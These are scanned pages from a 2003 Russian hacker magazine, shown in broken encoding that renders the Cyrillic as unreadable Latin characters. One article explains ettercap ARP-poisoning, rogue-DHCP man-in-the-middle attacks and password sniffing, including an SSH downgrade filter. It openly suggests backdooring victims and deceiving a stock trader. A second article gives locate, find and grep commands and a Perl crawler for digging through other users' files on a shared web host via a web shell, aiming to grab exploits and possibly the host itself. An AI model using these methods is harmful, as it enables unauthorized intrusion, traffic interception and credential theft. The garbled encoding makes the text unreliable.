ìîæåøü âûáèðàòü âðàæåñêèå àäðåñà, çàïóñêàòü<br />
ïëàãèíû (åñëè òâîé ettercap èõ ïîääåðæèâàåò, ÷òî<br />
â áîëüøèíñòâå ñëó÷àåâ òàê è åñòü), âûïîëíÿòü ðàçëè÷íûå<br />
êîìàíäû. Æìè êíîïêó 'h' è ïîëó÷èøü<br />
ñïðàâêó î âîçìîæíûõ ôóíêöèÿõ ïðîãðàììû íà<br />
ýòîì óðîâíå. Ïî÷òè âî âñåõ ñëó÷àÿõ òåáå íåîáõîäèìî<br />
âûáðàòü àäðåñà, ñ êîòîðûìè òû áóäåøü ðàáîòàòü.<br />
Ëåâàÿ êîëîíêà - source, ïðàâàÿ - destina-<br />
Ðèñóíîê 1<br />
1 2 3 4<br />
58 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Àòàêà MITM<br />
Ïðè çàïóñêå ïîääåëüíîãî<br />
DHCP ñåðâåðà, ìåæäó íèì è<br />
íàñòîÿùèì ñåðâåðîì íà÷íåòñÿ<br />
áîðüáà çà ïðèñâîåíèå IP<br />
àäðåñîâ. Åñëè ïîääåëüíûé<br />
ñåðâåð "ïîáåäèò", òî âçëîìùèê<br />
ñìîæåò óñòàíîâèòü êëèåíòàì<br />
íåîáõîäèìûå äëÿ íåãî<br />
õàðàêòåðèñòèêè, íàïðèìåð,<br />
ïåðåíàïðàâëåíèå òðàôèêà<br />
÷åðåç ìàøèíó õàêåðà, íà êîòîðîé<br />
óñòàíîâëåí àíàëèçàòîð<br />
ïàêåòîâ. Íà äàííîì ýòàïå,<br />
äëÿ óñòàíîâëåíèÿ êîíòðîëÿ<br />
íàä ñåòüþ è ëèêâèäàöèè<br />
íàñòîÿùåãî ñåðâåðà, öåëåñîîáðàçíî<br />
âûâåñòè åãî èç<br />
ñòðîÿ (íàïðèìåð, ïðè ïîìîùè<br />
DoS/DDoS àòàê).<br />
tion. Ñåëåêò è äåñåëåêò ïðîèçâîäèòñÿ êíîïêàìè<br />
è . Äàëåå ñëåäóåò âûáðàòü ìåòîä<br />
ñíèôèíãà. Ettercap ïðåäëàãàåò öåëûõ òðè, ÿ ðàññêàæó<br />
î êàæäîì â îòäåëüíîñòè. (ðèñóíîê 2)<br />
ÑÍÈÔÈÍÃ<br />
Èòàê, ðàçáîð ìåòîäîâ ñíèôèíãà:<br />
1) , ARP poisoning based sniffing, ïðèìåíÿåòñÿ<br />
äëÿ ñíèôèíãà â ñâè÷óåìûõ ñåòÿõ, à òàêæå äëÿ ïðèìåíåíèÿ<br />
àòàê êëàññà MITM.  äàííîì ñëó÷àå èñïîëüçóåòñÿ<br />
àòàêà arpoison, ìîäèôèöèðóþùàÿ ARPòàáëèöû<br />
çàðàæàåìûõ õîñòîâ òàêèì îáðàçîì, ÷òî<br />
âñå êàäðû äàííûõ ñ âûáðàííîãî source èäóò íà<br />
òâîé õîñò, à ñ òâîåãî - óæå íà destination. Íåïëîõî<br />
ïðèäóìàíî, äà?<br />
Ïðîáëåìû â îñóùåñòâëåíèè àòàêè ïîñðåäíèêà.<br />
Îäíîé èç ïðîáëåì ÿâëÿåòñÿ òî, ÷òî äàííàÿ àòàêà<br />
(MITM), âîçìîæíî, íå ñðàáîòàåò â íåáîëüøèõ ñåòÿõ.<br />
MITM íå áóäåò ôóíêöèîíèðîâàòü, åñëè êëèåíò<br />
help-îêîøêî ïðîãðàììû ettercap<br />
ïîëó÷èò îòâåò íà çàïðîñ ñî ñòàðîãî IP.<br />
Åñëè íàñòîÿùèé DHCP ñåðâåð ñìîæåò<br />
óäîâëåòâîðèòü çàïðîñ íà êîíêðåòíûé<br />
àäðåñ, NIC ïðèñâîèò ïðåäûäóùèé àäðåñ,<br />
à íå ïðåäëîæåííûé ïîääåëüíûì<br />
ñåðâåðîì. Åäèíñòâåííûé ñïîñîá, ïðè<br />
êîòîðîì âîçìîæíî ïðèñâîåíèå àäðåñà<br />
ïîääåëüíûì ñåðâåðîì, - ýòî ñëó÷àé,<br />
êîãäà çàïðîøåííûé àäðåñ íåâîçìîæåí<br />
ó ðåàëüíîãî DHCP ñåðâåðà (íàïðèìåð,<br />
åñëè àäðåñ óæå áûë ïðèñâîåí äðóãîìó<br />
èíòåðôåéñó). Àòàêó ïîñðåäíèêà ìîæíî<br />
îñóùåñòâèòü ïðè ïîìîùè êàê íàøåé<br />
ëþáèìîé ettercap, òàê è ïðè èñïîëüçîâàíèè<br />
DSniff, çàäåéñòâîâàâ ôóíêöèþ<br />
ARP poisoning.<br />
Èíûìè ñëîâàìè, ñ ïîìîùüþ ýòîãî ìåòîäà<br />
ñíèôèíãà òû ñìîæåøü âèäåòü ëþáîé<br />
òðàôèê òâîåãî ñåãìåíòà çà ïðåäåëàìè<br />
êàêèõ áû òî íè áûëî îãðàíè÷èâàþùèõ<br />
òåáÿ ñâè÷åé. Òû òàêæå ñìîæåøü<br />
ïðîâîäèòü ëþáûå mitm-àòàêè ðîâíî ñ<br />
òîé æå ñèëîé, áóäòî òû íà ñàìîì äåëå<br />
áûë ïîñåðåäèíå äâóõ õîñòîâ. Íà îñíîâå<br />
ýòîãî ìåòîäà óæå ñ âåðñèè 0.6.7<br />
ettercap ðåàëèçóåò ïåðåõâàò (dissection)<br />
ïàðîëåé ïðîòîêîëîâ ssh1 è https. Ìîæíî äàæå<br />
ñíèôàòü ïàðîëè â ssh âåðñèè 2, åñëè ïîäêëþ÷èòü<br />
ôèëüòð (ettercap -F etter.filter.ssh), êîòîðûé áóäåò<br />
ñïóôèòü ssh-ñåðâåðà ñ 1.99 (openssh-0.9.6, etc) íà<br />
1.51, ïîääåðæèâàþùèõ ëèøü ïåðâóþ âåðñèþ ïðîòîêîëà<br />
ssh.<br />
Î÷åâèäíî, ÷òî äëÿ ïðîâåäåíèÿ àòàêè arpoison,<br />
ettercap'ó íåîáõîäèìî íàãàäèòü â ñåòü öåëîé ïà÷êîé<br />
ëîæíûõ ARP-ïàêåòîâ, è ÿ ïî÷òè óâåðåí, ÷òî<br />
óæå åñòü ñðåäñòâà, îòëàâëèâàþùèå ýòó àòàêó. È óæ<br />
òåáå ðåøàòü, êàê îò ýòîãî ñïàñàòüñÿ. Ìîæíî, íàïðèìåð,<br />
ââîäèòü ëîæíûé IP-àäðåñ.<br />
2-3) , IP based sniffing, , MAC based sniffing<br />
- ýòî îáû÷íûå ìåòîäû ïàññèâíîãî ñíèôèíãà<br />
ëîêàëüíîé ñåòè. Âîçìîæíîñòè òàêîãî ñíèôèíãà îãðàíè÷åíû,<br />
õîòÿ ìåíÿ âïå÷àòëèëî êîëè÷åñòâî ïîääåðæèâàåìûõ<br />
ïðîòîêîëîâ ïðè îòíîñèòåëüíî íåáîëüøîì<br />
ðàçìåðå ïðîãðàììû.<br />
Íàïèõàâ íóæíûå àäðåñà â source, destination èëè â<br />
îáà ñðàçó (ÿ âûáðàë 192.168.0.200 â êà÷åñòâå<br />
Ðèñóíîê 2<br />
source), âûáèðàé ìåòîä ñíèôèíãà (íàïðèìåð,<br />
), òû ïîïàäåøü â ñîîòâåòñòâóþùåå îêíî è áóäåøü<br />
âèäåòü âñå èíòåðåñóþùèå òåáÿ ñîåäèíåíèÿ.<br />
Äëÿ òîãî ÷òîáû ñîáèðàòü ïàðîëè, âîîáùå íè÷åãî<br />
íå íàäî äåëàòü =)). Íàâåäè êóðñîð íà íóæíîå òåáå<br />
ñîåäèíåíèå: ïàðîëè áóäóò ïîÿâëÿòüñÿ â íóæíîé<br />
÷àñòè ýêðàíà. Ñáðîñ ïàðîëåé â ëîã - êíîïêà .<br />
Íàæìè íà êíîïêó è óâèäèøü íîâûé äèàïàçîí<br />
âñÿêèõ ôóíêöèé. Óâåðåí, îí òåáÿ âïå÷àòëèò: óáèéñòâî<br />
ñîåäèíåíèé, õàéäæåêèíã, ôèëòåðèíã, etc...<br />
×òî åùå íóæíî õàêåðó? =)<br />
ÐÓËÅÑÛ<br />
Âîçìîæíîñòè ïðîãðàììû ettercap îãðîìíû, íî,<br />
ñêîðåå âñåãî, îíè íå óñòðîÿò òåáÿ íà âñå ñòî. Íó<br />
÷òî æå, äëÿ òâîèõ çëîáíûõ öåëåé ïðåäóñìîòðåíû<br />
âàðèàíòû:<br />
1) Íàïèñàíèå ïëàãèíîâ. Òóò âñå ïðîñòî è ïîíÿòíî:<br />
íå âëåçàÿ â êèøêè ettercap'a, ðþõàåøü ïëàãèííûé<br />
èíòåðôåéñ ýòîé ïðîãè è äåëàåøü íóæíûé òåáå<br />
êîìïîíåíò, êîòîðûé ìîæíî ïîäãðóæàòü â ïðîãðàììó<br />
âñÿêèé ðàç, êîãäà òåáå ýòî íåîáõîäèìî. Ïèøóòñÿ<br />
òàêèå ïëàãèíû íà ñÿõ, ò.ê. ñàìà ïðîãðàììà íàïèñàíà<br />
òîæå íà íåì.<br />
2) Âîçìîæíîñòü bind'èòü local port, ñ êîòîðûì<br />
ettercap ïðîàññîöèèðóåò íóæíîå òåáå ñîåäèíåíèå.<br />
Ýòî î÷åíü öåííîå ñâîéñòâî ïðîãðàììû: òû ñìîæåøü<br />
çàðàíåå ðåàëèçîâàòü íóæíûå òåáå ìåõàíèçìû,<br />
âîñïðîèçâåñòè êîòîðûå â ðåàëüíîì âðåìåíè<br />
âåñüìà çàòðóäíèòåëüíî ;). Ïðîùå ãîâîðÿ, ïîÿâëÿåòñÿ<br />
âîçìîæíîñòü, íàïðèìåð, âëåçàòü â ÷óæèå<br />
IRC-ïðèâàòû. Â ïðèíöèïå, ýòî ìîæíî ñäåëàòü è<br />
ðóêàìè, íî åñëè òû çàõî÷åøü âïàðèòü êîìó-íèáóäü<br />
áýêäîð, ïðîñïóôèâ http èëè ftp, èëè ñîîáùèòü êàêîìó-íèáóäü<br />
áèðæåâîìó èãðîêó, ÷òî åãî àêöèè<br />
óïàëè â öåíå â ÷åòûðå ðàçà, òî òàêîå ñâîéñòâî<br />
ïðîãðàììû ìîæåò îêàçàòüñÿ âåñüìà êñòàòè.<br />
ÍÅ ÐÓËÅÑÛ :)<br />
<br />
Îíè òîæå åñòü, à êóäà æå áåç íèõ? È èõ, ïîæàëóé,<br />
äàæå áîëüøå, ÷åì âêóñíîñòåé.<br />
1) Âèíäîâûé ïîðò ïðîãðàììû, ìÿãêî ãîâîðÿ, äàëåê<br />
îò ñîâåðøåíñòâà. Â ýòîì âèíà ðåàëèçàöèè<br />
POSIX'îâîé ìóëüòèçàäà÷íîñòè cygwin'à, äåáèëüíîé<br />
ñåòåâîé ÷àñòè è ìíîæåñòâà ìèíîðíûõ ìîìåíòîâ,<br />
ñâÿçàííûõ ñ ïîðòèðîâàíèåì ñîôòà. Äàæå â ìîåé<br />
win2k, ñèñòåìå êîíäîâîé è êðåïêîé, ettercap ðàáîòàåò<br />
íåñòàáèëüíî... Íî ïðî íèêñû ÿ íå ãîâîðþ,<br />
òàì, åñòåñòâåííî, âñå ïðîñòî ñóïåð =).<br />
2) Åñëè òû íå ïðîãðàììèñò (ïðèíöèïèàëüíî, êàê<br />
îäèí ìîé çíàêîìûé, èëè ïðîñòî îò íåæåëàíèÿ/íåóìåíèÿ),<br />
òî òåáå ïðèäåòñÿ çàáûòü î âîçìîæíûõ<br />
âêóñíîñòÿõ ettercap'à è äîâîëüñòâîâàòüñÿ äåôîëòíûì<br />
ñîäåðæèìûì, îæèäàÿ îáíîâëåíèÿ ïðîãðàììû.<br />
3) Äðóãîé ìîé çíàêîìûé èç Ñâåðäëîâñêà óæå<br />
îïóáëèêîâàë ïàò÷ ê ÿäðó linux-2.4 (Ôîðáèêè îíëàéí<br />
:)) ïðîòèâ àòàêè arpoison. Îñòàåòñÿ íàäåÿòüñÿ,<br />
÷òî â Windows ýòî èñïðàâÿò íå ñêîðî, íî âñå<br />
ðàâíî äíè arpoison óæå ñî÷òåíû... Î ïàò÷å ê ÿäðó<br />
linux-2.4 òû ìîæåøü ïðî÷åñòü íà ñîîòâåòñòâóþùèõ<br />
ñàéòàõ. Ñàì ettercap ñêà÷èâàé îòñþäà: http://ettercap.sourceforge.net/.<br />
Âîò, â îáùåì-òî, è âñå. Ðàçáèðàéñÿ<br />
ñ ïðîãðàììîé, ïèøè ê íåé ïëàãèíû. Êòî<br />
çíàåò, ìîæåò, èìåííî òâîè ðàçðàáîòêè áóäóò äîáàâëåíû<br />
â íîâûå âåðñèè ettercap.<br />
Óäà÷è òåáå, êîëëåãà, ïóñòü ñåòü áîèòñÿ òåáÿ!!! :)<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 59
Âçëîì<br />
 ÏÎÈÑÊÀÕ ÝÊÑÏËÎÈÒÎÂ<br />
Äìèòðèé Äîêó÷àåâ aka Forb (forb@real.xakep.ru)<br />
Íî íå áóäåì óãëóáëÿòüñÿ â èñòîðèþ, à âåðíåìñÿ ê<br />
ðåàëüíîñòè. Îçàäà÷èì ñåáÿ âîïðîñîì: îòêóäà áåðóòñÿ...<br />
ñïëîèòû? Íåò, êîíå÷íî, èõ ïðèäóìûâàþò<br />
èññëåäîâàòåëè *nix, win ïëàòôîðì, íî ÷òî äàëüøå?<br />
Äîñòàòü ñïëîèòû ìîæíî äâóìÿ ñïîñîáàìè.<br />
Ïåðâûé: ñòðåéäèòü èõ íà IRC. Ó ýòîãî ñïîñîáà<br />
åñòü ñâîè ïëþñû è ìèíóñû. Îí áûë îïèñàí â íåäàâíåì<br />
âûïóñêå Õàêåðà, ïîýòîìó îñòàíàâëèâàòüñÿ<br />
íà íåì íå áóäó. Îñîáûé èíòåðåñ ïðåäñòàâëÿåò<br />
äðóãîé âàðèàíò, íîñÿùèé ñóãóáî ëè÷íûé õàðàêòåð,<br />
òî åñòü èñõîä åãî çàâèñèò òîëüêî îò òåáÿ =). È òû<br />
òî÷íî íå áóäåøü íàäóò çëûì ðèïïåðîì èç çàáóãîðüÿ.<br />
Íî òåáå ïîíàäîáèòñÿ ñìåêàëêà, ñíîðîâêà è<br />
÷óòü-÷óòü òåðïåíèÿ, è ïîâåðü, òû äîáüåøüñÿ óñïåõà.<br />
Íå áóäó òåáÿ òîìèòü, ýòîò ñïîñîá çàêëþ÷àåòñÿ<br />
â ïîèñêå àðõèâîâ ñïëîèòîâ íà áîëüøèõ õîñòèíãàõ.<br />
Ïîèñê, ïîèñê è åùå ðàç ïîèñê. Íåêîòîðûå ìîãóò<br />
óäèâèòüñÿ è ñêàçàòü, ÷òî íàéòè âñå ýòî äîáðî<br />
ìîæíî âñåãî îäíîé êîìàíäîé: locate xploit. Íî àäìèíû<br />
íàðîä ãóìàííûé è óâàæàþò ñîêðîâåííûå<br />
ôàéëû ñâîèõ þçåðîâ (âîò óæ íå ñêàçàë áû :) -<br />
ïðèì. ðåä.), ïîýòîìó äîñòóï ê locate è åå áàçå,<br />
ñêîðåå âñåãî, áóäåò çàïðåùåí. Ðóòà íà õîñòèíãîâîì<br />
ñåðâåðå ó òåáÿ òîæå íàâåðíÿêà íå áóäåò, ýòî<br />
îáóñëàâëèâàåòñÿ äâóìÿ ïðè÷èíàìè:<br />
1) Íîâîé ñèñòåìîé, óñòàíîâëåííîé íà ñåðâåðå.<br />
2) Ôàåðâîëîì, êîòîðûé çàêðûâàåò âñå ïîðòû,<br />
êðîìå ftp, web è mail-ñåðâèñîâ.<br />
Îòñþäà âûâîä, ÷òî èñêàòü áóäåì ÷åðåç âåá-øåëë,<br />
íó èëè åñëè î÷åíü ïîâåçåò (â ñëó÷àå îòñóòñòâèÿ 2-<br />
Ý Ê Ñ Ï Ë Î È Ò Î Â<br />
ãî ïóíêòà), òî ÷åðåç ðåàëüíûé øåëë. ß ïîïûòàþñü<br />
ðàññìîòðåòü âñå âîçìîæíûå âàðèàíòû ïîèñêà, ñ<br />
êîòîðûìè ìíå ïðèõîäèëîñü ñòàëêèâàòüñÿ. Íàäåþñü,<br />
÷òî õîòü îäèí èç íèõ áóäåò àêòóàëåí íà òâîåì<br />
õîñòèíãå.<br />
Âî-ïåðâûõ, òâîÿ çàäà÷à ñîñòîèò â ïîèñêå æåðòâû<br />
è âîçìîæíîñòè äîñòóïà ê cgi-ñêðèïòó, ïîçâîëÿþùåìó<br />
âûïîëíÿòü êîìàíäû ÷åðåç web. ][ íå ðàç ïèñàë<br />
îá ýòîì, òàê ÷òî ïîäíèìàé ñòàðûå íîìåðà è<br />
÷èòàé. Êîãäà ýòà çàäà÷à âûïîëíåíà, òû ìîæåøü<br />
ïîïûòàòüñÿ íàéòè è ñêà÷àòü íîâûå ñïëîèòû. Êàê<br />
ýòî ñäåëàòü, ÷èòàé íèæå.<br />
ÏÎÈÑÊ<br />
1. Free Locate<br />
Ñàìûé áàíàëüíûé ñïîñîá: íà<br />
õîñòèíãå äîñòóïíà êîìàíäà<br />
locate, è ó òåáÿ åñòü ïðàâà webñåðâåðà.<br />
Ïî íåïèñàíûì çàêîíàì,<br />
âñå ôàéëû, ëåæàùèå íà<br />
âåáå äîñòóïíû äëÿ ÷òåíèÿ uid'ó,<br />
ïîä êîòîðûì çàïóùåí àïà÷, òàê<br />
÷òî ñëîæíîñòü çàäà÷è çàêëþ÷àåòñÿ<br />
ëèøü â âåðíîì âûáîðå<br />
øàáëîíà äëÿ ïîèñêà. Ïðèâåäó<br />
íåñêîëüêî òàêèõ øàáëîíîâ:<br />
hack*<br />
xploit*<br />
sploit*<br />
wu*<br />
Â<br />
ÏÎÈÑÊÀÕ<br />
0day*<br />
rootkit*<br />
7350*<br />
Èùåì ñ ïîìîùüþ locate<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ØÒÓÐÌÓÅÌ ÕÎÑÒÈÍÃÈ ÏÎÈÑÊÎÂÛÌÈ ÇÀÏÐÎÑÀÌÈ<br />
 íàñòîÿùåå âðåìÿ ïî íåïîíÿòíûì ïðè÷èíàì õîðîøèõ ýêñïëîèòîâ â public èñòî÷íèêàõ ñòàíîâèòñÿ âñå ìåíüøå è ìåíüøå.<br />
È ñàìîå íåïðèÿòíîå, õîäÿò ñëóõè, ÷òî ó èíîñòðàííûõ òðåéäåðîâ ïðîáëåì ñî ñâåæèìè ñïëîèòàìè íåò. Òî ëè èì äàëè<br />
óñòàíîâêó íå òîðãîâàòü ñ ðóññêèìè, òî ëè íàøè õàêåðû äåðæàò èõ ïîä äåñÿòüþ çàìêàìè è íè â êîåì ñëó÷àå íå äàþò â ðóêè<br />
îáû÷íûì ëþäÿì, à òåì áîëåå ïàáëèê-õðàíèëèùàì (÷òî ïðèâåäåò ê ïîòåðå àêòóàëüíîñòè íîâîé áàãè è íåâîçìîæíîñòè<br />
äàëüíåéøåãî èñïîëüçîâàíèþ ñïëîèòà). Åñëè òû ÷òî-íèáóäü çíàåøü îá èñòîðèè ñïëîèòîâ, âñïîìíè íåäàâíèé áàã ñ<br />
ssl_mod. Íå ïîÿâèñü îí íà ïàáëèêå, íàâåðíÿêà îñòàëîñü áû ìíîãî óÿçâèìûõ ñåðâåðîâ...<br />
7350 - öèôðû, ïîêàçûâàþùèå, ÷òî äàííûé ñïëîèò<br />
îò êîìàíäû TESO. Ñ îñòàëüíûìè øàáëîíàìè, ÿ<br />
äóìàþ, âîïðîñîâ íå âîçíèêíåò. Âûâîä ðàáîòû<br />
locate ëó÷øå âñåãî çàïèñûâàòü â ôàéë ñ ïåðåíàïðàâëåíèåì<br />
òèïà ">>", ÷òîáû âñÿ íàéäåííàÿ èíôà<br />
ñáðàñûâàëàñü â îäíó êó÷ó.<br />
Ïðèìåð êîìàíäû:<br />
$ locate rootkit* >> /tmp/locate.log<br />
Ïîçäðàâëÿþ, ïîèñê çàâåðøåí, ìîæåøü ñìåëî ïåðåõîäèòü<br />
ê ïðîñìîòðó îáíàðóæåííûõ ñïëîèòîâ.<br />
1 2 3 4<br />
60 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
2. Free Find<br />
Óñëîæíÿåì çàäà÷ó. Ïóñòü òåáå äîñòóïíà êîìàíäà<br />
find, à íà äîìàøíèõ äèðåêòîðèÿõ ïî íåïîíÿòíûì<br />
ïðè÷èíàì ñòîèò àòðèáóò 755. ×òî íàì ýòî äàåò? Â<br />
ïåðâóþ î÷åðåäü, find áåç ïðîáëåì ñìîæåò öèêëè÷íî<br />
ïðîñìîòðåòü /home, ïðèäåòñÿ òîëüêî ïîäîæäàòü,<br />
òàê êàê ïîèñê ïî ôàéëîâîé ñèñòåìå çàíèìàåò<br />
áîëüøå âðåìåíè, ÷åì ïî áàçå. Íî ðåøåíèå<br />
ýòîé çàäà÷è ïîõîæå íà ïðåäûäóùåå, ñ òîé ðàçíèöåé,<br />
÷òî â íàãðóçêó òåáå ïîíàäîáèòñÿ çíàíèå ôëàãîâ<br />
find è îòïðàâëåíèå ñàìîãî ïîèñêà â áýêãðàóíä,<br />
òàê êàê åñëè âåáñåðâåð çàâåðøèò ñîåäèíåíèå<br />
ñ òîáîé ïî òàéìàóòó, òî ñäîõíåò è ñàì ïðîöåññ<br />
find, ÷òî êðàéíå íåæåëàòåëüíî. Øàáëîíû äëÿ ïîèñêà<br />
îñòàþòñÿ ïðåæíèìè (êàê, âïðî÷åì, è äëÿ<br />
âñåõ ïðåäëîæåííûõ çäåñü çàäà÷).<br />
Ïðèìåð êîìàíäû:<br />
$ find -name hack* -type f -print >> /tmp/find.log &<br />
Íå ïóãàéñÿ ìíîãîñòðî÷íûõ âûâîäîâ ïðè ïîèñêå. Â<br />
äåñêðèïòîð STDERR áóäåò ïèñàòüñÿ òîëüêî èíôà<br />
îá îøèáêàõ, à âîò â ñàì /tmp/find.log - âñå íàéäåííûå<br />
ýêñïëîèòû.<br />
3. Permission denied<br />
Åùå óñëîæíèì çàäà÷ó, ïðèáëèçèâ åå ê ðåàëüíîñòè.<br />
Äîïóñòèì, åñòü äèðåêòîðèÿ /home, â íåé ðàñïîëîæåíû<br />
âñå ïîëüçîâàòåëè ñèñòåìû. Â èõ êàòàëîãàõ<br />
ñ html-ôàéëàìè, íàïðèìåð, â äèðåêòîðèÿõ<br />
public_html (/home/user/public_html), óñòàíîâëåíû<br />
ïðàâà 755. Íî âðó÷íóþ èñêàòü ïî âñåì ýòèì ïàïêàì<br />
(îñîáåííî åñëè îíè èñ÷èñëÿþòñÿ òûñÿ÷àìè)<br />
î÷åíü íàêëàäíî, ïîýòîìó äîâåðèì ýòî Perl'ó. Íàïèøåì<br />
ïðîãðàììêó, êîòîðàÿ áóäåò áåãàòü ïî âñåì<br />
âëîæåííûì ïàïêàì public_html è èñêàòü â íèõ<br />
ñïëîèòû ïðè ïîìîùè find. (òàáëèöà 1)<br />
Óäîñòîâåðüñÿ, ÷òî â ñèñòåìå åñòü wget, ÷òîáû òåáå<br />
íå ïå÷àòàòü âåñü ôàéë ïîñòðî÷íî. Êëàäåì ýòî<br />
òâîðåíèå â /tmp ñ êàêîãî-íèáóäü ñåðâåðà (ÿ íàäåþñü,<br />
òû ïîçàáîòèøüñÿ îá ýòîì ñàìîñòîÿòåëüíî),<br />
ñòàâèì íà ñêðèïò ïðàâà 755 è ïðîáóåì âûïîëíèòü<br />
åãî ñëåäóþùèì îáðàçîì:<br />
$ perl /tmp/locate.pl wu* locate_perl.log &<br />
Ïîèñêîâîé ñêðèïò â ðàáîòå<br />
×åðåç íåñêîëüêî ìèíóò âñå ðåçóëüòàòû find'à óïàäóò<br />
òåáå â /tmp/locate_perl.log. Îñòàåòñÿ òîëüêî<br />
åãî ïðîïàðñèòü è ïåðåéòè ê ñòÿãèâàíèþ ñïëîèòîâ.<br />
4. Inaccessible Find<br />
Ïðåäïîëîæèì, ÷òî â öåëÿõ áåçîïàñíîñòè<br />
àäìèí ñíÿë àòðèáóòû ñ find. Âñå. Òàêîå áûâàåò,<br />
è ÿ íå ðàç ñ ýòèì ñòàëêèâàëñÿ. Íî ýòî<br />
íå îçíà÷àåò, ÷òî òû íå ìîæåøü þçàòü êî-<br />
#!/usr/bin/perl<br />
Òàáëèöà 1<br />
## locate.pl
Âçëîì<br />
 ÏÎÈÑÊÀÕ ÝÊÑÏËÎÈÒÎÂ<br />
Äìèòðèé Äîêó÷àåâ aka Forb (forb@real.xakep.ru)<br />
ìàíäó find. Åñëè òû ïåðåíåñåøü áèíàðíèê ñ ïîõîæåé<br />
ïëàòôîðìû íà ñåðâåð õîñòèíãà, òî, âîçìîæíî,<br />
îí ó òåáÿ çàðàáîòàåò íå õóæå ïðåæíåãî. Òåïåðü ïîïðàâü<br />
â ñêðèïòå ïåðåìåííóþ $find, ÷òîáû îíà ññûëàëàñü<br />
íà ïðèíåñåííûé èçâíå áèíàðíèê, è ñìåëî<br />
çàïóñêàé óòèëèòó ïîèñêà.<br />
5. Inaccessible /home<br />
Äîïóñòèì, òåáå ïîïàëñÿ õîñòèíã, â êîòîðîì çàêðûò<br />
âåñü êàòàëîã /home. Òî åñòü âçÿòü ñïèñîê ïîëüçîâàòåëåé<br />
ñòàíîâèòñÿ íåâîçìîæíûì. Íî åñëè ïîñìîòðåòü<br />
ñ äðóãîé ñòîðîíû, òî ïîëüçîâàòåëè âñåãäà áóäóò<br />
ïðîïèñàíû â êîíôèãå àïà÷è, êîòîðûé, êàê ïðàâèëî,<br />
äîñòóïåí äëÿ ÷òåíèÿ è íàõîäèòñÿ â<br />
/etc/httpd/conf/httpd.conf (íà ñàìîì äåëå îí ìîæåò<br />
ëåæàòü ãäå óãîäíî, à ýòîò ïóòü óêàçàí äëÿ ïðåäóñòàíîâëåííîãî<br />
apache - ïðèì. ðåä.). Èç íåãî íàì èíòåðåñíû<br />
òîëüêî îïöèè DocumentRoot, çíà÷åíèÿìè êîòîðîé<br />
áóäóò êàòàëîãè ñ ôàéëàìè, âèäíûìè èç web'à.<br />
Çàäà÷à îïÿòü àíàëîãè÷íà ïðåäûäóùåé, íî ïðèäåòñÿ<br />
÷óòü-÷óòü ïîìåíÿòü ïðîöåäóðó init() â ñêðèïòå:<br />
sub init {<br />
my (@files);<br />
open(CONF,"/etc/httpd/conf/httpd.conf") || die<br />
"cant access to conf\n"; ## Îòêðûâàåì êîíôèã<br />
àïà÷è äëÿ ÷òåíèÿ, ëèáî çàâåðøàåì<br />
ñêðèïò<br />
while() { ## ×èòàåì åãî ïîñòðî÷íî<br />
if ($_=~/DocumentRoot/) { ## Åñëè âñòðå÷àåòñÿ<br />
DocumentRoot<br />
(undef,$file)=split ' '; ## Âûäèðàåì èç îïöèè<br />
çíà÷åíèå<br />
$file=~s/^\/home//g; ## Óäàëÿåì èç íåãî<br />
/home<br />
push(@files,$file); ## È ïîìåùàåì â @files<br />
êàê ýëåìåíò ìàññèâà<br />
}<br />
}<br />
close(CONF); ## Çàêðûâàåì êîíô<br />
return @files; ## È âîçâðàùàåì @files<br />
}<br />
Òàêèì îáðàçîì, ìåíÿÿ ëèøü ñïîñîá äîáû÷è<br />
@files, ìû îñòàâèëè ïðåæíèì ãëàâíûé ìîäóëü<br />
ñêðèïòà è âûïîëíèëè ïîèñê, ÷òî ãîâîðèò î ðåøåíèè<br />
ïîñòàâëåííîé çàäà÷è.<br />
6. Èñòèíà ãäå-òî... â ëîãàõ<br />
Îðèãèíàëüíûé ñïîñîá ïîèñêà - ïðîñìîòð ëîãîâ<br />
äîñòóïà web-ñåðâåðà. Êàê ýòî íè ïàðàäîêñàëüíî,<br />
íî îíè òàêæå äîñòóïíû äëÿ ÷òåíèÿ, è â íèõ ìîæíî<br />
íàéòè íà ðåäêîñòü èíòåðåñíûå îáðàùåíèÿ, ñîâïàäàþùèå<br />
ñ øàáëîíîì. Ïðîïàðñè httpd.conf è îòûùè<br />
òàì îáùèé ëîã apache. Åñëè òàêîé åñòü, òî,<br />
êîïàÿñü â íåì ïðîñòûì grep'îì, ìîæíî îòûñêàòü<br />
èíòåðåñíûå çàïðîñû è ïî íèì îïðåäåëèòü ìåñòîíàõîæäåíèå<br />
ýêñïëîèòîâ:<br />
$ grep hack access_log >> /tmp/logs.log<br />
Åñëè æå ëîãè ïèøóòñÿ ïî êàæäîìó âèðòóàëõîñòó è<br />
íàõîäÿòñÿ, íàïðèìåð, â<br />
/home/user/public_html/logs/access_log, òî, ñìåíèâ<br />
øàáëîí ïîèñêà íà access_log è çàþçàâ locate.pl,<br />
òû ìîæåøü îáðàáîòàòü êàæäûé ëîã ïî ñëåäóþùåìó<br />
øàáëîíó:<br />
$ grep 7350 `cat /tmp/locate.log` >> /tmp/logs.log<br />
7. Search in strange dirs<br />
Âîçìîæíî, êòî-òî óæå ïîðóòàë õîñòèíã äî òåáÿ.<br />
Âçëîìùèêè èíîãäà çàáûâàþò çàòèðàòü çà ñîáîé<br />
öåííûå ñïëîèòû è îñòàâëÿþò èõ â ïåðâîçäàííîì<br />
âèäå. Îáû÷íî îíè ëåæàò â ëåâûõ ïàïêàõ. ×òîáû<br />
íàéòè òàêèå, ïîñìîòðè äèðåêòîðèþ /tmp ñ ôëàãîì<br />
-la, ìîæåò áûòü òàì áóäåò ïàïî÷êà, ïîõîæàÿ íà<br />
"...". Ïî÷òè íàâåðíÿêà â íåé áóäóò ëåæàòü ýêñïëîèòû.<br />
Òàêæå ïðî÷åøè /dev è /lib íà ïðåäìåò ñõîæèõ<br />
äèðåêòîðèé:<br />
$ find /dev -type d -print<br />
Âåðîÿòíî, ÷òî è òàì îáíàðóæàòñÿ ñòðàííûå ïàïêè.<br />
Ïðîÿâè ñìåêàëêó, âîçìîæíî, òû çàâëàäååøü íå<br />
òîëüêî ýêñïëîèòàìè, íî è ñàìèì õîñòèíãîì.<br />
À ÅÑÒÜ ËÈ ÑÏËÎÈÒÛ?<br />
Âîçìîæíî, ïîèñê âåëñÿ çðÿ, è òû íè÷åãî íå íàøåë.<br />
